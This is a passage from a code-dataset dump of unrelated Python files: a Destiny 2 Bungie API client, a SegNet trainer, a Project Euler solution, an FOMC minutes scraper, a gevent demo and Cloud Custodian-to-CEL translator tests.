t)\n for i, t in zip(gather_instance_ids, gather_activity_times)\n ]\n )\n\n for result in results:\n if result:\n i = result[0]\n t = result[1]\n pgcr = result[2]\n\n # insert information to DB\n await insertPgcrToDB(i, t, pgcr)\n\n logger = logging.getLogger(\"update_activity_db\")\n\n if not entry_time:\n entry_time = await getLastUpdated(self.destiny_id)\n else:\n entry_time = datetime.datetime.min\n\n logger.info(\"Starting activity DB update for destinyID <%s>\", self.destiny_id)\n\n instance_ids = []\n activity_times = []\n success = True\n async for activity in self.get_activity_history(\n mode=0,\n earliest_allowed_datetime=entry_time,\n ):\n # break if we dont get a result\n if not activity:\n success = False\n break\n\n instance_id = activity[\"activityDetails\"][\"instanceId\"]\n activity_time = datetime.datetime.strptime(\n activity[\"period\"], \"%Y-%m-%dT%H:%M:%SZ\"\n )\n\n # update with newest entry timestamp\n if activity_time > entry_time:\n entry_time = activity_time\n\n # check if info is already in DB, skip if so\n if await getPgcrActivity(instance_id):\n continue\n\n # add to gather list\n instance_ids.append(instance_id)\n activity_times.append(activity_time)\n\n # gather once list is big enough\n if len(instance_ids) < 50:\n continue\n else:\n # get and input the data\n await input_data(instance_ids, activity_times)\n\n # reset gather list and restart\n instance_ids = []\n activity_times = []\n\n # one last time to clean out the extras after the code is done\n if instance_ids:\n # get and input the data\n await input_data(instance_ids, activity_times)\n\n # update with newest entry timestamp\n if success:\n await updateLastUpdated(self.destiny_id, entry_time)\n\n logger.info(\"Done with activity DB update for destinyID <%s>\", self.destiny_id)\n\n async def _get_full_character_list(self) -> list[dict]:\n \"\"\"Get character ids including deleted characters\"\"\"\n\n if not self._full_character_list:\n result = await self._get_stats()\n\n if result:\n for char in result[\"characters\"]:\n self._full_character_list.append(\n {\n \"char_id\": int(char[\"characterId\"]),\n \"deleted\": char[\"deleted\"],\n }\n )\n\n return self._full_character_list\n\n async def _get_profile(\n self, components: list[Union[int, str]] = None, with_token: bool = False\n ) -> Optional[dict]:\n \"\"\"Return info from the profile call\"\"\"\n\n # https://bungie-net.github.io/multi/schema_Destiny-DestinyComponentType.html#schema_Destiny-DestinyComponentType\n\n if components is None:\n components = []\n\n url = urljoin(\n self._base_bungie_url, f\"Destiny2/{self.system}/Profile/{self.destiny_id}/\"\n )\n params = {\"components\": \",\".join(map(str, components))}\n\n if with_token:\n response = await get_json_from_bungie_with_token(\n url=url, params=params, discord_id=self.discord_id\n )\n else:\n response = await get_json_from_url(\n url=url,\n params=params,\n )\n\n return response.content[\"Response\"] if response else None\n\n async def get_triumphs(self) -> Optional[dict]:\n \"\"\"Populate the triumphs and then return them\"\"\"\n\n if not self._triumphs:\n triumphs = await self._get_profile([900])\n if triumphs:\n # get profile triumphs\n self._triumphs = triumphs[\"profileRecords\"][\"data\"][\"records\"]\n\n # get character triumphs\n character_triumphs = [\n character_triumphs[\"records\"]\n for character_id, character_triumphs in triumphs[\n \"characterRecords\"\n ][\"data\"].items()\n ]\n\n # combine them\n for triumph in character_triumphs:\n self._triumphs.update(triumph)\n\n return self._triumphs\n\n async def _get_collectibles(self) -> Optional[dict]:\n \"\"\"Populate the collectibles and then return them\"\"\"\n\n if not self._collectibles:\n collectibles = await self._get_profile([800])\n if collectibles:\n # get profile collectibles\n self._collectibles = collectibles\n\n return self._collectibles\n\n async def _get_metrics(self) -> Optional[dict]:\n \"\"\"Populate the metrics and then return them\"\"\"\n\n if not self._metrics:\n metrics = await self._get_profile([1100])\n if metrics:\n # get profile metrics\n self._metrics = metrics[\"metrics\"][\"data\"][\"metrics\"]\n\n return self._metrics\n\n async def _get_stats(self) -> Optional[dict]:\n \"\"\"Get destiny stats\"\"\"\n\n if not self._stats:\n url = urljoin(\n self._base_bungie_url,\n f\"Destiny2/{self.system}/Account/{self.destiny_id}/Stats/\",\n )\n response = await get_json_from_url(url=url)\n if response:\n self._stats = response.content[\"Response\"]\n\n return self._stats\n\n async def get_inventory_bucket(self, bucket: int = 138197802) -> Optional[list]:\n \"\"\"Returns all items in bucket. Default is vault hash, for others search \"bucket\" at https://data.destinysets.com/\"\"\"\n\n result = await self._get_profile([102], with_token=True)\n if not result:\n return None\n all_items = result[\"profileInventory\"][\"data\"][\"items\"]\n items = []\n for item in all_items:\n if item[\"bucketHash\"] == bucket:\n items.append(item)\n\n return items\n","sub_path":"ElevatorBot/functions/destinyPlayer.py","file_name":"destinyPlayer.py","file_ext":"py","file_size_in_byte":28589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"435378250","text":"\"\"\"\nTrain a SegNet model\n\n\nUsage:\npython train.py --data_root /home/SharedData/intern_sayan/PascalVOC2012/data/VOCdevkit/VOC2012/ \\\n --train_path ImageSets/Segmentation/train.txt \\\n --img_dir JPEGImages \\\n --mask_dir SegmentationClass \\\n --save_dir /home/SharedData/intern_sayan/PascalVOC2012/ \\\n --checkpoint /home/SharedData/intern_sayan/PascalVOC2012/model_best.pth \\\n --gpu 1\n\nnew lf usage\n\npython ./src/train.py --data_root /home/cxt/Documents/research/lf_dope/lf_trans_dataset/synthetic/ --save_dir /home/cxt/Documents/research/lf_dope/pytorch-segnet/checkpoint/ \n \n\n\"\"\"\n\nfrom __future__ import print_function\nimport argparse\nfrom dataset import LFDataset, NUM_CLASSES\nfrom model import SegNet\nimport os\nimport time\nimport torch\nfrom torch.utils.data import DataLoader\nimport torch.nn.parallel\n\n# Constants\nNUM_INPUT_CHANNELS = 3\nNUM_OUTPUT_CHANNELS = NUM_CLASSES\n\nNUM_EPOCHS = 100\n\nLEARNING_RATE = 1e-5\nBATCH_SIZE = 20\n\n\n# Arguments\nparser = argparse.ArgumentParser(description='Train a SegNet model')\n\nparser.add_argument('--data_root', required=True)\n# parser.add_argument('--train_path', required=True)\n# parser.add_argument('--img_dir', required=True)\n# parser.add_argument('--mask_dir', required=True)\nparser.add_argument('--save_dir', required=True)\nparser.add_argument('--checkpoint')\n# parser.add_argument('--gpu', type=int)\n\nargs = parser.parse_args()\n\n\n\ndef train():\n is_better = True\n prev_loss = float('inf')\n\n model.train()\n print (\"Batch Number:\" + str(len(train_dataloader)))\n for epoch in range(NUM_EPOCHS):\n loss_f = 0\n t_start = time.time()\n batch_id = 0\n for batch in train_dataloader:\n input_tensor = torch.autograd.Variable(batch['image'])\n target_tensor = torch.autograd.Variable(batch['mask'])\n\n if CUDA:\n input_tensor = input_tensor.cuda()\n target_tensor = target_tensor.cuda()\n\n predicted_tensor, softmaxed_tensor = model(input_tensor)\n\n\n optimizer.zero_grad()\n loss = criterion(softmaxed_tensor, target_tensor)\n loss.backward()\n optimizer.step()\n\n if batch_id % 20 == 0:\n print(\"Epoch #{}\\tBatch #{}\\tLoss: {:.8f}\".format(epoch + 1, batch_id, loss))\n loss_f += loss.float()\n prediction_f = softmaxed_tensor.float()\n batch_id = batch_id + 1\n\n loss_f = loss_f / len(train_dataloader)\n delta = time.time() - t_start\n is_better = loss_f < prev_loss\n\n if is_better:\n prev_loss = loss_f\n torch.save(model.state_dict(), os.path.join(args.save_dir, \"model_best.pth\"))\n if epoch % 10 == 0:\n torch.save(model.state_dict(), os.path.join(args.save_dir, \"model_\" + str(epoch) + \".pth\"))\n print(\"Epoch #{}\\tLoss: {:.8f}\\t Time: {:2f}s\".format(epoch+1, loss_f, delta))\n\n\nif __name__ == \"__main__\":\n data_root = args.data_root\n\n CUDA = 1 # args.gpu is not None\n GPU_ID = [0,1]\n\n\n train_dataset = LFDataset(root_path=data_root)\n\n train_dataloader = DataLoader(train_dataset,\n batch_size=BATCH_SIZE,\n shuffle=True,\n num_workers=6)\n\n\n\n if CUDA:\n model = SegNet(input_channels=NUM_INPUT_CHANNELS,\n output_channels=NUM_OUTPUT_CHANNELS).cuda()\n model = torch.nn.DataParallel(model, GPU_ID).cuda()\n class_weights = 1.0/train_dataset.get_class_probability().cuda()\n criterion = torch.nn.CrossEntropyLoss(weight=class_weights).cuda()\n else:\n model = SegNet(input_channels=NUM_INPUT_CHANNELS,\n output_channels=NUM_OUTPUT_CHANNELS)\n\n # class_weights = 1.0/train_dataset.get_class_probability()\n criterion = torch.nn.CrossEntropyLoss()\n\n\n if args.checkpoint:\n model.load_state_dict(torch.load(args.checkpoint))\n \n\n\n optimizer = torch.optim.Adam(model.parameters(),\n lr=LEARNING_RATE)\n\n\n train()\n\n\n print('train over')\n","sub_path":"src/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4198,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"253474721","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom __future__ import print_function, division\nimport sys\nif sys.version_info.major < 3:\n\tinput = raw_input\nfrom lib import *\n# Path sum: two ways\n# Problem 81\n# In the 5 by 5 matrix below, the minimal path sum from the top left to the bottom right, by only moving to the right and down, is indicated in bold red and is equal to 2427.\n# [131, 673, 234, 103, 18],\n# [201, 96, 342, 965, 150],\n# [630, 803, 746, 422, 111],\n# [537, 699, 497, 121, 956],\n# [805, 732, 524, 37, 331]\n# Find the minimal path sum, in matrix.txt (right click and \"Save Link/Target As...\"), a 31K text file containing a 80 by 80 matrix, from the top left to the bottom right by only moving right and down.\nFilename = \"p081_matrix.txt\"\n#Answer = 427337\nMatrix = [\n\t[131, 673, 234, 103, 18],\n\t[201, 96, 342, 965, 150],\n\t[630, 803, 746, 422, 111],\n\t[537, 699, 497, 121, 956],\n\t[805, 732, 524, 37, 331]\n]\nBottom_Right = b_x, b_y = len(Matrix[-1]) - 1, len(Matrix) - 1\n\nif __name__ == \"__main__\":\n\tMatrix = list(\n\t\tmap(\n\t\t\tlambda i: list(map(int, i)),\n\t\t\tmap(\n\t\t\t\tlambda i: i.strip().split(\",\"),\n\t\t\t\topen(Filename).readlines()\n\t\t\t\t)\n\t\t\t)\n\t\t)\n\tBottom_Right = b_x, b_y = len(Matrix[-1]) - 1, len(Matrix) - 1\n\tfor i, line in enumerate(Matrix):\n\t\tfor j, cell in enumerate(line):\n\t\t\t#What follows is quite silly and inelegant\n\t\t\t#There is a better way to enumerate the adjacents,\n\t\t\t# I just know it...\n\t\t\tadjacents = []\n\t\t\tif i > 0: adjacents.append(Matrix[i-1][j])\n\t\t\tif j > 0: adjacents.append(Matrix[i][j-1])\n\t\t\tif len(adjacents) == 0: adjacents = [0]\n\t\t\tMatrix[i][j] += min(adjacents)\n\tprint(Matrix[b_y][b_x])","sub_path":"problem_81.py","file_name":"problem_81.py","file_ext":"py","file_size_in_byte":1623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"13511622","text":"import minpy\nimport minpy.numpy as np\n\ndef sigmoid(x):\n return 0.5 * (np.tanh(x) + 1)\n\ndef predict(weight, inputs):\n return sigmoid(np.dot(inputs, weight))\n\ndef loss_func(weight, inputs, targets):\n def loss_theta(weight):\n pred = predict(weight, inputs)\n return -np.sum(np.log(pred * targets))\n return loss_theta\n\nnum_samples = 10000\nnum_inputs = 128\nnum_outputs = 256\ninputs = np.random.randn((num_samples, num_inputs))\ntargets = np.random.randn((num_samples, num_outputs))\nweights = np.random.randn((num_inputs, num_outputs))\n\ngrad_func = minpy.grad(loss_func(weights, inputs, targets))\n\nfor i in range(100):\n weights -= grad_func(weights) * 0.01\n","sub_path":"examples/logistic_regression.py","file_name":"logistic_regression.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"408335592","text":"#!/usr/bin/env python\n\n\"\"\"\nInspect MCD files, reporting on their basic statistics, saving\nmetadata as YAML files, and panel information as CSV files.\n\"\"\"\n\nimport sys\nimport argparse\nfrom typing import List\n\nimport pandas as pd\n\nfrom imc.types import Path\nfrom imc.utils import mcd_to_dir\nfrom imc.scripts import cli_config\n\n\ndef main(cli: List[str] = None) -> int:\n parser = get_args()\n args = parser.parse_args(cli)\n\n if len(args.pannel_csvs) == 1:\n args.pannel_csvs = args.pannel_csvs * len(args.mcd_files)\n else:\n assert len(args.mcd_files) == len(args.pannel_csvs)\n\n if len(args.mcd_files) != len(args.sample_names):\n args.sample_names = [None] * len(args.mcd_files)\n\n fs = \"\\n\\t- \" + \"\\n\\t- \".join([f.as_posix() for f in args.mcd_files])\n print(f\"Starting analysis of {len(args.mcd_files)} MCD files: {fs}!\")\n\n for mcd_file, pannel_csv, sample_name in zip(\n args.mcd_files, args.pannel_csvs, args.sample_names\n ):\n sargs = args.__dict__.copy()\n del sargs[\"mcd_files\"]\n del sargs[\"pannel_csvs\"]\n del sargs[\"root_output_dir\"]\n del sargs[\"sample_names\"]\n sargs[\"mcd_file\"] = mcd_file\n sargs[\"pannel_csv\"] = pannel_csv\n sargs[\"sample_name\"] = sample_name\n sargs[\"output_dir\"] = args.root_output_dir / mcd_file.stem\n sargs = {k: v for k, v in sargs.items() if v is not None}\n\n print(f\"Started analyzing '{mcd_file}'.\")\n mcd_to_dir(**sargs)\n print(f\"Finished processing '{mcd_file}'.\")\n\n print(\"Finished with all files!\")\n return 0\n\n\ndef get_args() -> argparse.ArgumentParser:\n _help = \"MCD files to process.\"\n parser = argparse.ArgumentParser(**cli_config[\"subcommands\"][\"prepare\"]) # type: ignore[index]\n parser.add_argument(dest=\"mcd_files\", nargs=\"+\", type=Path, help=_help)\n _help = \"Either one file or one for each MCD file.\"\n parser.add_argument(\n \"-p\",\n \"--panel-csv\",\n dest=\"pannel_csvs\",\n nargs=\"+\",\n type=Path,\n help=_help,\n )\n parser.add_argument(\n \"-o\",\n \"--root-output-dir\",\n dest=\"root_output_dir\",\n default=\"processed\",\n type=Path,\n )\n parser.add_argument(\n \"-n\", \"--sample-name\", dest=\"sample_names\", nargs=\"+\", type=str\n )\n parser.add_argument(\n \"--partition-panels\", dest=\"partition_panels\", action=\"store_true\"\n )\n parser.add_argument(\n \"--filter-full\", dest=\"filter_full\", action=\"store_true\"\n )\n parser.add_argument(\"--ilastik\", dest=\"ilastik_output\", action=\"store_true\")\n parser.add_argument(\"--overwrite\", dest=\"overwrite\", action=\"store_true\")\n parser.add_argument(\n \"--no-empty-rois\", dest=\"allow_empty_rois\", action=\"store_false\"\n )\n parser.add_argument(\"--only-crops\", dest=\"only_crops\", action=\"store_true\")\n parser.add_argument(\"--n-crops\", dest=\"n_crops\", type=int)\n parser.add_argument(\"--crop-width\", dest=\"crop_width\", type=int)\n parser.add_argument(\"--crop-height\", dest=\"crop_height\", type=int)\n parser.add_argument(\n \"-k\",\n \"--keep-original-names\",\n dest=\"keep_original_roi_names\",\n action=\"store_true\",\n )\n return parser\n\n\nif __name__ == \"__main__\":\n try:\n sys.exit(main())\n except KeyboardInterrupt:\n sys.exit(1)\n","sub_path":"imc/scripts/prepare_mcds.py","file_name":"prepare_mcds.py","file_ext":"py","file_size_in_byte":3333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"280536535","text":"import numpy as np\nimport tensorflow as tf\nimport os\nimport compare_dither.dithering_diffusion as dithering_diffusion\nimport random\n\n# Update possibility (was not changed to be consistent with existing experiment results):\n# remove method not used\ndef num_variables():\n return 28 * 28\n\nclass data():\n def __init__(self, dither_method = False):\n \"\"\"\n\n @param dither_method:\n \"\"\"\n if dither_method:\n # if data should be dithered\n dirname = os.path.dirname(os.path.dirname(__file__))\n path = os.path.join(dirname, os.path.join('data/Fashion_dither/', dither_method))\n if not os.path.exists(path):\n # if path to data not exist, create it\n os.mkdir(path)\n if os.path.exists(os.path.join(path, 'train.npy')) and os.path.exists(os.path.join(path, 'label_train.npy')):\n train= np.load(os.path.join(path, 'train.npy'))\n # if data has already been dithered with this method, load it\n label_train = np.load(os.path.join(path, 'label_train.npy'))\n else:\n # data has not been dithered yet with this method\n # data format train: [num_samples, width, height] pixel range is [0 to 255]\n # no colour channel !\n # data format label: [[label], [label], ... ]\n (train, label_train), _ = tf.keras.datasets.fashion_mnist.load_data()\n # add colour channel to data\n train = train.reshape((train.shape + (1,)))\n # dither data. can take a while\n train = dithering_diffusion.error_diffusion_dithering(train, dither_method)\n # set black pixel to the value -1\n # Update possibility (was not changed to be consistent with existing experiment results):\n # not necessarily or should be done later this step is not performed in cifar dataset\n train= np.where(train, 1, -1)\n # save dithered data\n path_to_save = os.path.join(path, 'train.npy')\n np.save(path_to_save,train)\n np.save(os.path.join(path, 'label_train.npy'), label_train)\n else:\n # if data should not be dithered\n (train, label_train), _ = tf.keras.datasets.fashion_mnist.load_data()\n\n # flatten label\n targets = np.array([label_train]).reshape(-1)\n # cast to one hot vectors\n self.label_train = np.eye(classes)[targets]\n\n first_half = train.astype(np.float32)\n # scale pixel range to [ 0 to 1]\n # Update possibility (was not changed to be consistent with existing experiment results):\n # move to first loading of dataset\n self.train = first_half / 255\n\n def get_iterator(self):\n # permutes data and label\n # set iter to 0 if n data are requested return next n and set iter to iter = iter + n\n p = np.random.permutation(self.train.shape[0])\n self.label_train, self.train = self.label_train[p], self.train[p]\n self.iter = 0\n\n def get_chunk(self, chunk_size):\n if self.iter + chunk_size > end:\n # ask for more data then are available\n # Update possibility (was not changed to be consistent with existing experiment results):\n # raise error\n return None\n # get chunck_size many data\n t_ret, l_ret = self.train[self.iter: self.iter +\n chunk_size], self.label_train[self.iter: self.iter+chunk_size]\n # update position of iter\n self.iter += chunk_size\n return np.array(t_ret), np.array(l_ret)\n\n def get_test(self, dither_method = False):\n\n if dither_method:\n # if data should be dithered\n dirname = os.path.dirname(os.path.dirname(__file__))\n path = os.path.join(dirname, os.path.join('data/Fashion_dither/', dither_method))\n if not os.path.exists(path):\n # if path to data not exist, create it\n os.mkdir(path)\n if os.path.exists(os.path.join(path, 'test.npy')) and os.path.exists(os.path.join(path, 'label_test.npy')):\n # if data has already been dithered with this method, load it\n test = np.load(os.path.join(path, 'test.npy'))\n label_test = np.load(os.path.join(path, 'label_test.npy'))\n else:\n # data has not been dithered yet with this method\n # data format test: [num_samples, width, height, colour_channel] pixel range is [0 to 255]\n # no colour channel !\n # data format label: [[label], [label], ... ]\n _, (test, label_test) = tf.keras.datasets.fashion_mnist.load_data()\n # add colour channel to data\n test = test.reshape((test.shape + (1,)))\n # dither data. can take a while\n test = dithering_diffusion.error_diffusion_dithering(test, dither_method)\n\n # set black pixel to the value -1\n # Update possibility (was not changed to be consistent with existing experiment results):\n # not necessarily or should be done later this step is not performed in cifar dataset\n test = np.where(test, 1, -1)\n # save dithered data\n path_to_save = os.path.join(path, 'test.npy')\n np.save(path_to_save, test)\n np.save(os.path.join(path, 'label_test.npy'), label_test)\n else:\n # if data should not be dithered\n _, (test, label_test) = tf.keras.datasets.fashion_mnist.load_data() # Returns: Tuple of Numpy arrays: (x_train, y_train), (x_test, y_test).\n\n # flatten label\n targets = np.array([label_test]).reshape(-1)\n # cast to one hot vectors\n label_test = np.eye(classes)[targets]\n\n # scale pixel range to [ 0 to 1]\n # Update possibility (was not changed to be consistent with existing experiment results):\n # move to first loading of dataset\n first_half = test.astype(np.float32)/255\n return first_half, label_test\n\n def get_name(self):\n return 'Fashion'\n\n # Update possibility (was not changed to be consistent with existing experiment results):\n # set as class property\nclasses = 10\nend = 60000\n\n","sub_path":"compare_dither/data/mnist_fashion.py","file_name":"mnist_fashion.py","file_ext":"py","file_size_in_byte":6432,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"159268437","text":"import unittest\nfrom appium import webdriver\nfrom Screens.RegisterScreen import RegisterScreen\n\n\nclass RegisterMobileTest(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n desired_caps = {'platformName': 'Android', 'platformVersion': '10.0', 'automationName': 'uiautomator2',\n 'deviceName': 'Android Emulator',\n 'app': r\"C:\\Users\\prato\\Documents\\Courses\\Epitech\\NRT-FTEST\\nrt-ftest\\Mobile-tests\\app-release.apk\"}\n cls.driver = webdriver.Remote('http://localhost:4723/wd/hub', desired_caps)\n cls.driver.implicitly_wait(5000)\n\n def test_01_Bad_Email(self):\n register_screen = RegisterScreen(self.driver)\n register_screen.click_register()\n register_screen.click_patient()\n register_screen.fill_email(\"bad email\")\n\n # @classmethod\n # def tearDownClass(cls):\n # cls.driver.quit()\n # # cls.driver.close()\n","sub_path":"nrt-ftest/Mobile-tests/Tests/registerMobile.py","file_name":"registerMobile.py","file_ext":"py","file_size_in_byte":930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"430550672","text":"from bs4 import BeautifulSoup\r\nimport requests\r\nimport re\r\nimport urllib\r\nimport os\r\n\r\nbase_url = \"https://www.federalreserve.gov/monetarypolicy/fomchistorical\"\r\n\r\ntranscript_links = {}\r\nfor year in range(1995, 2008):\r\n html_doc = requests.get(base_url + str(year) +'.htm')\r\n soup = BeautifulSoup(html_doc.content, 'html.parser')\r\n links = soup.find_all(\"a\", string=re.compile('Minutes*'))\r\n print(links)\r\n link_base_url = \"https://www.federalreserve.gov\"\r\n transcript_links[str(year)] = [link_base_url + link[\"href\"] for link in links]\r\n print(\"Year Complete: \", year)\r\nfor year in transcript_links.keys():\r\n if not os.path.exists(\"./feddata/\" + year):\r\n os.makedirs(\"./feddata/\" + year)\r\n for link in transcript_links[year]:\r\n html = requests.get(link)\r\n soup = BeautifulSoup(html.content, 'html.parser')\r\n\r\n\t\t# kill all script and style elements\r\n for script in soup([\"script\", \"style\"]):\r\n script.extract() # rip it out\r\n\r\n\t\t# get text\r\n text = soup.get_text()\r\n\r\n\t\t# break into lines and remove leading and trailing space on each\r\n lines = (line.strip() for line in text.splitlines())\r\n\t\t# break multi-headlines into a line each\r\n chunks = (phrase.strip() for line in lines for phrase in line.split(\" \"))\r\n\t\t# drop blank lines\r\n text = '\\n'.join(chunk for chunk in chunks if chunk)\r\n\r\n name = re.search(\"[^/]*$\", str(link))\r\n print(link)\r\n with open(\"./feddata/\" + year + \"/\" + name.group()+'.txt', 'w',encoding='utf-8') as f:\r\n f.write(text)\r\n print(\"file uploaded\")","sub_path":"code of 4D-Intelli/FOMC_webscraping_1993-2007.py","file_name":"FOMC_webscraping_1993-2007.py","file_ext":"py","file_size_in_byte":1595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"296580776","text":"# geventDemo01b.py -- example fromp page 275.\n# This version adds import of gevent monkey and monkey.patch.\n\n\"\"\"\nThis is one of a couple of gevent demos in Introducing Python.\n\nThis program:\n\n+ Works in conjunction with geventTest01a.py.\n\n+ Assumes a virtualenv sub-directory with redis and psutil installed.\n\n To RUN this PY file, configure the RUN dialog to point to the\n previously defined Python 3 interpreter in the virtual environment.\n\n\"\"\"\n\n# Import of gevent requires virtualenv as described above.\nimport gevent\nfrom gevent import socket\n# Adding this additional import statement for this 01b version.\nfrom gevent import monkey\n\n# New monkey.patch statement in 01b version.\nmonkey.patch_socket()\n\nhosts = ['www.crappytaxidermy.com',\n 'www.walterpottertaxidermy.com',\n 'www.antique-taxidermy.com']\n\njobs = [gevent.spawn(gevent.socket.gethostbyname, host) for host in hosts]\ngevent.joinall(jobs, timeout=5)\n\nfor job in jobs:\n print(job.value)\n","sub_path":"IntroducingPython/Networks/geventDemo01b.py","file_name":"geventDemo01b.py","file_ext":"py","file_size_in_byte":973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"94901845","text":"# SPDX-Copyright: Copyright (c) Capital One Services, LLC\n# SPDX-License-Identifier: Apache-2.0\n# Copyright 2020 Capital One Services, LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and limitations under the License.\n\n\"\"\"\nC7N Integration Translation Test Cases.\n\"\"\"\nfrom unittest.mock import Mock, call, sentinel\nfrom xlate.c7n_to_cel import C7N_Rewriter\nfrom pytest import *\n\n\n@fixture\ndef mock_logical_connector(monkeypatch):\n logical_connector = Mock(\n return_value=sentinel.rewritten\n )\n monkeypatch.setattr(C7N_Rewriter, 'logical_connector', logical_connector)\n return logical_connector\n\n\ndef test_c7n_rewrite(mock_logical_connector):\n assert C7N_Rewriter.c7n_rewrite('name: policy\\nfilters: \"text\"\\n') == sentinel.rewritten\n assert mock_logical_connector.mock_calls == [call(None, \"text\")]\n\n\n@fixture\ndef mock_type_value_rewrite(monkeypatch):\n type_value_rewrite = Mock(\n return_value=str(sentinel.rewritten)\n )\n monkeypatch.setattr(C7N_Rewriter, 'type_value_rewrite', type_value_rewrite)\n return type_value_rewrite\n\n\n@fixture\ndef mock_type_marked_for_op_rewrite(monkeypatch):\n type_marked_for_op_rewrite = Mock(\n return_value=str(sentinel.rewritten)\n )\n monkeypatch.setattr(C7N_Rewriter, 'type_marked_for_op_rewrite', type_marked_for_op_rewrite)\n return type_marked_for_op_rewrite\n\n@fixture\ndef mock_type_image_age_rewrite(monkeypatch):\n type_image_age_rewrite = Mock(\n return_value=str(sentinel.rewritten)\n )\n monkeypatch.setattr(C7N_Rewriter, 'type_image_age_rewrite', type_image_age_rewrite)\n return type_image_age_rewrite\n\n@fixture\ndef mock_type_event_rewrite(monkeypatch):\n type_event_rewrite = Mock(\n return_value=str(sentinel.rewritten)\n )\n monkeypatch.setattr(C7N_Rewriter, 'type_event_rewrite', type_event_rewrite)\n return type_event_rewrite\n\n\ndef test_logical_connector_list(mock_type_value_rewrite):\n assert C7N_Rewriter.logical_connector(sentinel.resource, [{\"type\": \"value\"}]) == str(sentinel.rewritten)\n assert mock_type_value_rewrite.mock_calls == [call(sentinel.resource, {'type': 'value'})]\n\n\ndef test_logical_connector_and(mock_type_value_rewrite):\n assert C7N_Rewriter.logical_connector(sentinel.resource, {\"and\": [{\"type\": \"value\"}]}) == str(sentinel.rewritten)\n assert mock_type_value_rewrite.mock_calls == [call(sentinel.resource, {'type': 'value'})]\n\n\ndef test_logical_connector_or(mock_type_value_rewrite):\n # Note the singleton or; this is common.\n assert C7N_Rewriter.logical_connector(sentinel.resource, {\"or\": [{\"type\": \"value\"}]}) == str(sentinel.rewritten)\n assert mock_type_value_rewrite.mock_calls == [call(sentinel.resource, {'type': 'value'})]\n\n\ndef test_logical_connector_not_1(mock_type_value_rewrite):\n not_1 = {\"not\": [{\"type\": \"value\"}]}\n assert (\n C7N_Rewriter.logical_connector(sentinel.resource, not_1) == f\"! {str(sentinel.rewritten)}\"\n )\n assert mock_type_value_rewrite.mock_calls == [call(sentinel.resource, {'type': 'value'})]\n\n\ndef test_logical_connector_not_2(mock_type_value_rewrite):\n not_2 = {\"not\": [{\"type\": \"value\", \"value\": 1}, {\"type\": \"value\", \"value\": 2}]}\n expected_2 = f\"! ({str(sentinel.rewritten)} && {str(sentinel.rewritten)})\"\n assert (\n C7N_Rewriter.logical_connector(sentinel.resource, not_2) == expected_2\n )\n assert mock_type_value_rewrite.mock_calls == [\n call(sentinel.resource, {'type': 'value', 'value': 1}),\n call(sentinel.resource, {'type': 'value', 'value': 2})\n ]\n\n\ndef test_logical_connector_errors(mock_type_value_rewrite):\n with raises(ValueError):\n C7N_Rewriter.logical_connector(sentinel.resource, {\"nope\": [{\"type\": \"value\"}]})\n with raises(ValueError):\n C7N_Rewriter.logical_connector(sentinel.resource, \"nope\")\n\n\n@fixture\ndef mock_key_to_cel(monkeypatch):\n key_to_cel = Mock(\n return_value=str(sentinel.rewritten)\n )\n monkeypatch.setattr(C7N_Rewriter, 'key_to_cel', key_to_cel)\n return key_to_cel\n\n\n@fixture\ndef mock_value_to_cel(monkeypatch):\n value_to_cel = Mock(\n return_value=str(sentinel.rewritten)\n )\n monkeypatch.setattr(C7N_Rewriter, 'value_to_cel', value_to_cel)\n return value_to_cel\n\n\n@fixture\ndef mock_value_from_to_cel(monkeypatch):\n value_from_to_cel = Mock(\n return_value=str(sentinel.rewritten)\n )\n monkeypatch.setattr(C7N_Rewriter, 'value_from_to_cel', value_from_to_cel)\n return value_from_to_cel\n\n\ndef test_type_value_rewrite(mock_key_to_cel, mock_value_to_cel):\n clause = {\"key\": \"key\", \"op\": \"eq\", \"value\": 42}\n assert C7N_Rewriter.type_value_rewrite(sentinel.resource, clause) == str(sentinel.rewritten)\n assert mock_key_to_cel.mock_calls == [call(\"key\")]\n assert mock_value_to_cel.mock_calls == [call(str(sentinel.rewritten), \"eq\", 42, None)]\n\n\ndef test_type_value_rewrite_present(mock_key_to_cel, mock_value_to_cel):\n clause = {\"key\": \"key\", \"value\": \"present\"}\n assert C7N_Rewriter.type_value_rewrite(sentinel.resource, clause) == str(sentinel.rewritten)\n assert mock_key_to_cel.mock_calls == [call(\"key\")]\n assert mock_value_to_cel.mock_calls == [call(str(sentinel.rewritten), \"__present__\", None)]\n\n\ndef test_type_value_rewrite_not_null(mock_key_to_cel, mock_value_to_cel):\n clause = {\"key\": \"key\", \"value\": \"not-null\"}\n assert C7N_Rewriter.type_value_rewrite(sentinel.resource, clause) == str(sentinel.rewritten)\n assert mock_key_to_cel.mock_calls == [call(\"key\")]\n assert mock_value_to_cel.mock_calls == [call(str(sentinel.rewritten), \"__present__\", None)]\n\n\ndef test_type_value_rewrite_absent(mock_key_to_cel, mock_value_to_cel):\n clause = {\"key\": \"key\", \"value\": \"absent\"}\n assert C7N_Rewriter.type_value_rewrite(sentinel.resource, clause) == str(sentinel.rewritten)\n assert mock_key_to_cel.mock_calls == [call(\"key\")]\n assert mock_value_to_cel.mock_calls == 